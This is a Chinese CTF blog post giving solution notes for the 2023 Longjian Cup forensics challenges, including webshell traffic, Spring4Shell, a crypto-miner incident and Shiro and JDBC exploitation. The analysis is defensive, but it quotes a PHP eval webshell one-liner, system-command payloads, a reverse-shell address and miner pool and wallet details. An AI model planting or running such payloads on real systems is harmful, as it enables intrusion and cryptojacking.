2023陇剑杯答题笔记（更新中）

已于 2024-04-10 16:33:13 修改
阅读量890 收藏 17
点赞数 24
分类专栏： 从零开始CTF 文章标签： 笔记 安全性测试 安全 密码学 web安全 安全威胁分析
于 2024-03-14 12:46:28 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/A1027394340/article/details/136554596
版权

数据分析-HW

hard_web_1

题目：

服务器开放了哪些端口，请按照端口大小顺序提交答案，并以英文逗号隔开(如服务器开放了80 81 82 83端口，则答案为80,81,82,83)

打开流量包，按照时间顺序可以推测192.168.162.180为服务器ip，192.168.162.188为客户机ip。于是首先过滤出服务器响应的部分
可以使用过滤器输入命令ip.dst == 192.168.162.188 && tcp.connection.synack，表示过滤出目标ip为188的SYN-ACK包。
在这里插入图片描述这是由于TCP三次握手中，服务端会返回SYN-ACK包
完成过滤后检查数据包，可以看到Src Port就是服务器开放端口
在这里插入图片描述
全部检查后发现总共三个：80, 888和8888，就是最后的答案。

hard_web_2

题目：

服务器中根目录下的flag值是多少？

过滤http数据包可以发现有shell.jsp
在这里插入图片描述
我们选择追踪http流。搜索shell.jsp可以找到这样一条数据：
在这里插入图片描述这一部分说明这是godzilla加密的shell，期中加密方式为AES，密钥在xc中为748007e861908c03
接下来我们逐一检查如下几个包，依次将body部分解密。

在这里插入图片描述在最后一个包中，可以获取到如下内容：
在这里插入图片描述需要注意的是，0d0a0d0a是消息头和消息体的分界，所以需要解密的只有之后的部分
在这里插入图片描述将body部分解密可以得到压缩包，解压后得到明文flag{9236b29d-5488-41e6-a04b-53b0d8276542}

hard_web_3

题目：

该webshell的连接密码是多少？

连接密码在md5后，他的前16个作为数据包加密密钥。所以此处需要寻找md5后为748007e861908c03的值，使用cmd5解密得14mk3y

数据分析-SS

sevrer save_1

题目：

黑客是使用什么漏洞来拿下root权限的。格式为：CVE-2020-114514

观察流量，可以看到前面的请求均为/helloworld/xx，服务器返回404，推测是暴破流量，这里可以跳过向后看。
在这里插入图片描述在最后的部分出现了shell.jsp，于是我们向上查看最后一次/helloworld/greeting的流量。
在这里插入图片描述可以看到请求体为一个网页
在这里插入图片描述搜索标题Reznok’s Hello World Spring Application，得到网页https://github.com/reznok/Spring4Shell-POC，其中记录漏洞编号为CVE-2022-22965

sevrer save_2

题目：

黑客反弹shell的ip和端口是什么，格式为：10.0.0.1:4444

继续观察后面几个数据包，可以观察到有下载的请求
在这里插入图片描述我们检查这个包和下一个服务器返回的包，可以找到如下命令
在这里插入图片描述这里即可找到反弹的地址和端口：192.168.43.128:2333

sevrer save_3

题目：

黑客的病毒名称是什么？ 格式为：filename

首先检查各用户目录。在/home/guests/中发现可疑文件main
在这里插入图片描述观察文件可以发现是ELF可执行文件，推测为病毒。
在这里插入图片描述

sevrer save_4

题目：

黑客的病毒运行后创建了什么用户？请将回答用户名与密码：username:password

Linux用户名保存在/etc/passwd中，打开可以看到最近添加的是ll
在这里插入图片描述密码存在/etc/shadow中，可以看到密码为123456
在这里插入图片描述所以答案为：ll:123456

sevrer save_5

题目：

服务器在被入侵时外网ip是多少? 格式为：10.10.0.1

检查/home/guests/中的.log文件，可以看到向172.105.202.239发送了请求。
在这里插入图片描述

sevrer save_6

题目：

病毒运行后释放了什么文件？格式：文件1,文件2

继续观察.log文件可以看到执行了.idea/mine_doge.sh文件
在这里插入图片描述在.idea中检查到如下两个文件，推测为挖矿软件。
在这里插入图片描述

sevrer save_7

题目：

矿池地址是什么？ 格式：domain:1234

打开mine_doge.sh可以看到内容如下
在这里插入图片描述可以在POOL中找到矿池地址为 doge.millpools.cc:5567

sevrer save_8

题目：

黑客的钱包地址是多少？格式：xx:xxxxxxxx

如上题，可在mine_doge.sh中找到钱包地址为 DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker

数据分析-WS

Wireshark1_1

题目：

被入侵主机的IP是？

经过排序后可以看到只有两个ip在通信，所以可以推测ip为192.168.246.28
在这里插入图片描述

Wireshark1_2

题目：

被入侵主机的口令是？

观察到这是一个telnet通信，于是追踪数据包
在这里插入图片描述可以看到口令为 youcannevergetthis
在这里插入图片描述

Wireshark1_3

题目：

用户目录下第二个文件夹的名称是？

继续观察上一题的流量包，可以看到有文件夹列表，第二个为Downloads
在这里插入图片描述

Wireshark1_4

题目：

/etc/passwd中倒数第二个用户的用户名是？

从这里可以知道后面的内容是/etc/passwd文件内容，所以倒数第二个是mysql
在这里插入图片描述

数据分析-IR

IncidentResponse_1

题目：

你是公司的一名安全运营工程师，今日接到外部监管部门通报，你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合，你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统。（虚拟机账号密码为：root/IncidentResponsePasswd） 挖矿程序所在路径是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

先通过ls -la --sort=t查看近期文件改动
在这里插入图片描述于是我们依次检查这些文件。在.viminfo中发现大量redis操作
在这里插入图片描述进入redis目录，可以看到redis-server有7万次操作可以确定为挖矿软件
在这里插入图片描述于是答案为6f72038a870f05cbf923633066e48881
在这里插入图片描述

IncidentResponse_2

题目：

挖矿程序连接的矿池域名是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

确认挖矿软件后，打开redis配置文件，在里面搜索WALLET，可以找到如下配置
在这里插入图片描述于是矿池为donate.v2.xmrig.com，答案为3fca20bb92d0ed67714e68704a0a4503

IncidentResponse_3

攻击者入侵服务器的利用的方法是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

之前查看.bash_history时注意到有一个renren-admin.jar运行了nohup服务（即后台运行）
在这里插入图片描述注意到/home/app/下有此jar包且运行次数非常高，于是我们检查nohub.log
在这里插入图片描述多处发现shiro关键字，推测为shiro反序列化漏洞。
在这里插入图片描述在这里插入图片描述所以答案为shirodeserialization，转化为标准格式后得到3ee726cb32f87a15d22fe55fa04c4dcd

IncidentResponse_4

题目：

攻击者的IP是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

检查登录信息，可以发现有一条外网连接，ip为81.70.166.3，所以答案为c76b4b1a5e8c9e7751af4684c6a8b2c9
在这里插入图片描述

IncidentResponse_5

题目：

攻击者发起攻击时使用的User-Agent是？（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

检查Nginx日志（/var/log/nginx/access.log）中查看访问信息，可以在最后找到ua信息为Mozilla/5.0 (compatible; Baiduspider/2.0; +http://baidu.com/search/spider.html)
在这里插入图片描述

IncidentResponse_6

题目：

攻击者使用了两种权限维持手段，相应的配置文件路径是？(md5加密后以a开头)（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

检查.ssh目录，查看authorized_keys文件
在这里插入图片描述
在这里发现开启了ssh私钥登录，且用户为root@kali。所以答案为/root/.ssh/authorized_keys，转化格式后得到a1fa1b5aeb1f97340032971c342c4258
在这里插入图片描述

IncidentResponse_7

题目：

攻击者使用了两种权限维持手段，相应的配置文件路径是？(md5加密后以b开头)（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案）

可能是开机自启，所以检查/root/lib/systemd/system/和/etc/systemd/system/，在/root/lib/systemd/system/中找到了redis.service文件。在这里插入图片描述查看文件可以发现redis会自启连接矿池。
在这里插入图片描述所以答案为/lib/systemd/system/redis.service，转换格式为b2c5af8ce08753894540331e5a947d35

数据分析-SSW

SmallSword_1

题目：

连接蚁剑的正确密码是______________?（答案示例：123asd）

首先过滤http包，注意到如下流量，形如蚁剑一句话木马，选择追踪流量。
在这里插入图片描述可以在$_POST中找到连接密码6ea280898e404bfabd0ebb702327b18f，其中%22代表双引号。
在这里插入图片描述

SmallSword_2

题目：

攻击者留存的值是______________?(答案示例：d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)

检查蚁剑流量，并用Base64解码
在这里插入图片描述在这个流量包中发现上传如下值
在这里插入图片描述解码后得到ad6269b7-3ce2-4ae8-b97f-f259515e7a91 ，即为答案。

SmallSword_3

题目：

攻击者下载到的flag是______________?(答案示例：flag3{uuid})

待更

数据分析-EW

ez_web_1

题目：

服务器自带的后门文件名是什么？（含文件后缀）

后门文件需要上传，所以我们过滤POST请求，得到以下流量
在这里插入图片描述可以发现d00r.php为后门文件。但我们检查第一个流量a=file_put_contents%28%27d00r.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%3D%3D%27%29%29%3B,可转译为a=file_put_contents(‘d00r.php’,+base64_decode(‘<?php eval($_POST['cmd']);?>’);
可以发现是ViewMore.php上传的d00r.php文件。所以真正的后门文件为ViewMore.php
在这里插入图片描述

ez_web_2

题目：

服务器的内网IP是多少？

依次检查d00r.php流量包，在其中一个找到了system%28%27ifconfig%27%29%3B即system('ifconfig');
在这里插入图片描述所以下面的响应数据为ip地址，内网ip为192.168.101.132

ez_web_3

题目：

攻击者往服务器中写入的key是什么？

继续先后检查流量包，发现如下命令
在这里插入图片描述推测为上传key_file文件，使用base64解码后面的数据得到一串编码。值得注意的是%27为'%28为(%29为)所以有效编码为它们中间的部分，并且需要替换编码中的字符%2F为/%3D为=。
在这里插入图片描述将其保存为zip文件并解压，提示需要密码。向上查看流量包，找到如下命令：
在这里插入图片描述
说明密码为7e03864b0db7e6f9。填入压缩文件可以得到key.txt，其中key值为7d9ddff2-2d67-4eba-9e48-b91c26c42337

数据分析-BF

baby_forensics_1

题目：

磁盘中的key是多少？

待更

baby_forensics_2

题目：

电脑中正在运行的计算器的运行结果是多少？

待更

baby_forensics_3

题目：

该内存文件中存在的flag值是多少？

待更

数据分析-TP

tcpdump_1

题目：

攻击者通过暴力破解进入了某Wiki 文档，请给出登录的用户名与密码，以:拼接，比如admin:admin

观察登录失败的流量，可以发现服务器返回错误信息是errCode: 300，于是开始寻找返回信息的包。
在这里插入图片描述
在这里插入图片描述

tcpdump_2

题目：

攻击者发现软件存在越权漏洞，请给出攻击者越权使用的cookie的内容的md5值。（32位小写）

过滤登录成功的流量，发现有一条数据修改了cookie
在这里插入图片描述追踪这条流量，可以发现userid变化，说明发生了越权。
在这里插入图片描述
所以答案为accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1。取md5后得到383c74db4e32513daaa1eeb1726d7255

tcpdump_3

攻击使用jdbc漏洞读取了应用配置文件，给出配置中的数据库账号密码，以:拼接，比如root:123456

首先过滤含有jdbc、username和password的流量
在这里插入图片描述追踪流量可以找到用户名和密码
在这里插入图片描述所以答案是zyplayer:1234567

tcpdump_4

题目：

攻击者又使用了CVE漏洞攻击应用，执行系统命令，请给出此CVE编号以及远程EXP的文件名，使用:拼接，比如CVE-2020-19817:exp.so

这一题使用了JDBC漏洞CVE-2022-21724，从这里可以看到jdbc连接了postgresql在这里插入图片描述可以看到这些流量之后有大量的custom.dtd.xml请求
在这里插入图片描述
所以exp文件为custom.dtd.xml，答案为CVE-2022-21724:custom.dtd.xml

tcpdump_5

题目：

给出攻击者获取系统权限后，下载的工具的名称，比如nmap

可以看到第一次出现custom.dtd.xml的流量是1602，于是开始追踪后续tcp包
在这里插入图片描述在1611中发现如下payload，可以看到其下载了fscan
在这里插入图片描述

数据分析-HD

hacked_1

题目：

admIn用户的密码是什么？

过滤包含password的流量，可以发现服务器的加密方式为aes，密钥为l36DoqKUYQP0N7e1，iv为131b0c8a7a6e072e，模式为CBC，填充为Pkcs7。接下来开始查询登录信息。
在这里插入图片描述利用上面的参数加密admIn得到NQq5hKinIsaMmIZ7FCTC0Q==，搜索流量可以查到密码为KGM7NI0/WvKswK+PlmFIhO4gqe8jJzRdOi02GQ0wZoo=
在这里插入图片描述解密后得到flag{WelC0m5_TO_H3re}

hacked_2

题目：

app.config['SECRET_KEY']值为多少？

直接过滤含SECRET_KEY的流量可以获得如下两个。
在这里插入图片描述追踪流量可以得到SECRET_KEY为ssti_flask_hsfvaldb，其中&#39;为'
在这里插入图片描述

hacked_3

题目：

flask网站由哪个用户启动？

这里利用了Flask的session注入。搜索含有Set-Cookie的流量。
在这里插入图片描述使用上一问得到的密钥逐一解码Set-Cookie中的内容。发现其中一个session解码后得到
在这里插入图片描述可以看到这里上传了cookie，所以用户名是red

hacked_4

题目：

攻击者写入的内存马的路由名叫什么？（答案里不需要加/）

黑色部分是上一问注入session的位置，于是检查该用户登录期间的操作
在这里插入图片描述依次解码session可以找到如下内容
在这里插入图片描述说明攻击者建立了**/Index**的路由，页面内容为Hello! 123。追踪相应的流量也可以得到相同的结论。
在这里插入图片描述

Mad Soycat
关注
  • 24
    点赞
  • 踩
  • 17
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
2023陇剑杯答题笔记（更新中），2024年网络安全开发实战
04-07 672
题目：该webshell的连接密码是多少？连接密码在md5后，他的前16个作为数据包加密密钥。所以此处需要寻找md5后为748007e861908c03的值，使用cmd5解密得14mk3y。
2024陇剑杯答题笔记（更新中），2024年最新真香系列
2401_83974064的博客
04-13 634
在.idea中检查到如下两个文件，推测为挖矿软件。 题目： 打开mine_doge.sh可以看到内容如下 可以在POOL中找到矿池地址为 doge.millpools.cc:5567题目： 如上题，可在mine_doge.sh中找到钱包地址为 DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker题目： 经过排序后可以看到只有两个ip在通信，所以可以推测ip为192.168.246.28 题目： 观察到这是一个telnet通信，于是追踪数据包 可以看到口令为 yo
2024陇剑杯答题笔记（更新中），2024年最新网络安全权限处理
2401_83946044的博客
04-15 763
检查Nginx日志（/var/log/nginx/access.log）中查看访问信息，可以在最后找到ua信息为Mozilla/5.0 (compatible;可能是开机自启，所以检查/root/lib/systemd/system/和/etc/systemd/system/，在/root/lib/systemd/system/中找到了redis.service文件。值得注意的是%27为。所以答案为/lib/systemd/system/redis.service，转换格式为。所以真正的后门文件为。
2024陇剑杯答题笔记（更新中），2024年最新网络安全插件化+模块化+组件化+热修复
2401_84150557的博客
04-09 893
还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！【完整版领取方式在文末！！
2024陇剑杯答题笔记（更新中）(1)，写给程序员的Flutter详细教程
2401_83974064的博客
04-13 687
还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！【完整版领取方式在文末！！
2024陇剑杯答题笔记（更新中）(1)，2024年最新网络安全大厂面试真题解析大全
2401_83946044的博客
04-15 779
（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案）(md5加密后以a开头)（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案）(md5加密后以b开头)（答案中如有空格均需去除，如有大写均需变为小写，使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案）
CTF--比赛题目解题思路（陇剑杯）--简单题目（萌新）
BING
09-14 4062
CTF–比赛题目解题思路（陇剑杯）–简单题目（萌新） 1.webshell(单位网站被黑客挂马，请您从流量中分析出webshell，进行回答)–黑客登录系统使用的密码是 通过得到的是hack.pcap流量包，放到wireshark中通过字符串搜索得到，password为Admin123!@# 2.日志分析分析–攻击流量，黑客往/tmp目录写入一个文件,文件名为 首先用notepad++打开，首先ctr+a全选安装下图1，2，3将url解码。 在搜索栏中搜索tmp得到下面结果：sess_car
判断推理笔记
热门推荐
qq_43026148的博客
01-18 1万+
在逻辑学上，定义就是明确概念内涵的逻辑方法。定义判断是关于词概念内涵进行分析判断能力的考查。具体来说，所谓定义判断，就是每道题目先给出一个定义，然后给出四个典型例证，要求报考者严格依据定义选出一个最符合或最不符合该定义的参考答案。eg：狗是XXX。对一个定义对象。狗。进行一个内涵的描述。XXX是内涵。符合这个内涵的事物/对象，就是狗的外言。不符合就不属于狗。符合就属于狗完全并列东北人8个。广东人5个。并列关系 [A+B，A+B]。[13,13]。完全包含东北人8个，哈尔滨人5个。
2023最新Java面试题面试经验笔记项目
01-03
学习笔记和心得：记录了学习过程中的重点难点和心得体会，有助于学习者更好地理解和掌握知识。 二、适用人群 本资源适用于即将毕业或已经毕业，希望通过学习Java找到一份理想工作的同学。无论你是初学者还是有一定...
高中政治28个重要考点答题模板总结.doc
04-09
高中政治28个重要考点答题模板总结
算法4 答题笔记1.1.docx
04-06
算法4书籍 的1.1的课后习题,新手未参考别人的答案,自己练手用的,上传赚点积分
Git笔记
985小菜鸡
05-21 370
完成以上步骤后，您的本地项目应该已经成功上传到 GitHub 仓库中了。您可以在 GitHub 网站上查看并访问您的项目。，如果您使用的是其他分支，请将其替换为您的分支名称。这里假设您的本地分支是。
Linux学习笔记（二）
最新发布
weixin_42515203的博客
05-28 151
Linux的学习笔记
Vue学习笔记3——事件处理
qq_44778824的博客
05-22 419
尽管我们可以直接在方法内调用，但如果方法能更专注于数据逻辑而不用去处理DOM事件的细节会更好。)来监听DOM事件，并在事件触发时执行对应的JavaScript。// 读取data里面数据的方法：this.count。// 所有方法或者函数都放在这里,跟data同级。为解决这一问题，Vue 为。对象和通过事件传递数据。
#知识分享#笔记#学习方法
2401_82731322的博客
05-28 155
首先，它的查重功能非常强大，可以快速准确地检测论文中是否存在抄袭现象，给出详细的检测报告。其次，二豆写作还提供了降重功能，可以帮助学生将重复率较高的段落进行修改，确保论文的独立性和原创性。无论是在学术论文写作还是在毕业设计撰写中，二豆写作都能为你提供有效的帮助，帮助你更好地完成论文写作任务。希望更多的学生可以尝试使用二豆写作，体验其中的便利和实用，提高论文质量，取得更好的成绩。此外，二豆写作拥有丰富的数据库资源，可以与各大知名数据库进行对比，提供更全面的查重服务。除了靠谱外，二豆写作还非常方便。
#学习方法#笔记#微信
2401_82889650的博客
05-28 100
总的来说，飞鸟写作是一个非常值得推荐的论文写作工具。无论是撰写学术论文还是写作其他类型的文章，飞鸟写作都能够满足用户的需求，为用户提供优质的写作体验。因此，飞鸟写作能够帮助用户轻松地完成论文写作任务，是一个非常值得信赖的工具。首先，飞鸟写作具有强大的查重降重功能，能够帮助用户快速检测论文中的重复内容，并提供相关建议来优化论文质量。其次，飞鸟写作界面简洁直观，操作便捷，用户可以轻松上手，快速完成论文写作任务。飞鸟写作是一个非常好用、靠谱且方便的论文写作工具，可以帮助用户高效地完成论文写作任务。
Spring6基础笔记
质胜文则野，文胜质则史。文质彬彬，然后君子。
05-21 975
Spring 是一款主流的 Java EE 轻量级开源框架 ，Spring 由“Spring 之父”Rod Johnson 提出并创立，其目的是用于简化 Java 企业级应用的开发难度和开发周期。Spring的用途不仅限于服务器端的开发。从简单性、可测试性和松耦合的角度而言，任何Java应用都可以从Spring中受益。Spring 框架除了自己提供功能外，还提供整合其他技术和框架的能力。Spring 自诞生以来备受青睐，一直被广大开发人员作为 Java 企业级应用程序开发的首选。时至今日，Spring 俨然
2023蓝帽杯初赛misc下载
12-04
2023蓝帽杯初赛misc下载是指在2023年举办的蓝帽杯网络安全竞赛中的一项miscellaneous（杂项）类题目的下载。在初赛中，参赛选手需要下载与miscellaneous相关的题目文件或资源，并进行分析和解决。 首先，参赛选手需要前往蓝帽杯竞赛官方网站或相关论坛查找与初赛misc下载相关的公告或指引。这些网站通常会提供下载链接或资源分享的方式，以方便选手获取题目所需的文件或资源。 其次，根据所提供的下载链接，选手可以点击链接进行下载，也可以使用迅雷、qq旋风等下载工具进行高速下载，以确保下载的文件完整和无误。 在完成下载后，选手需要对下载的文件进行验证。可使用md5校验工具对下载后的文件进行校验，以确保文件的完整性和正确性，防止下载过程中出现错误导致文件损坏。 之后，选手可以开始进行miscellaneous题目的解析和答题。首先，解压下载的文件，查看所提供的题目资源、源代码或二进制文件等。根据题目要求和提示，选手可以使用各种工具和技术，如逆向工程、数据分析、密码学等，进行问题的分析和解决，并找出相应的答案或flag。 最后，选手需要将自己的解题过程、思路和答案记录下来，并按照比赛规则的要求提交答案。可以是一个文本文件或截图，或是将解决问题的代码或脚本提交到竞赛平台或指定的邮箱中。 总之，2023蓝帽杯初赛misc下载是参赛选手在参加蓝帽杯网络安全竞赛中所需进行的一项任务。选手需要在蓝帽杯官方网站或相关论坛上获取下载链接并下载题目相关的文件或资源，然后对其进行验证、解析和解决，最后提交答案以完成竞赛的要求。这项任务对选手的网络安全技术、解题思维和团队合作能力都提出了较高的要求。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值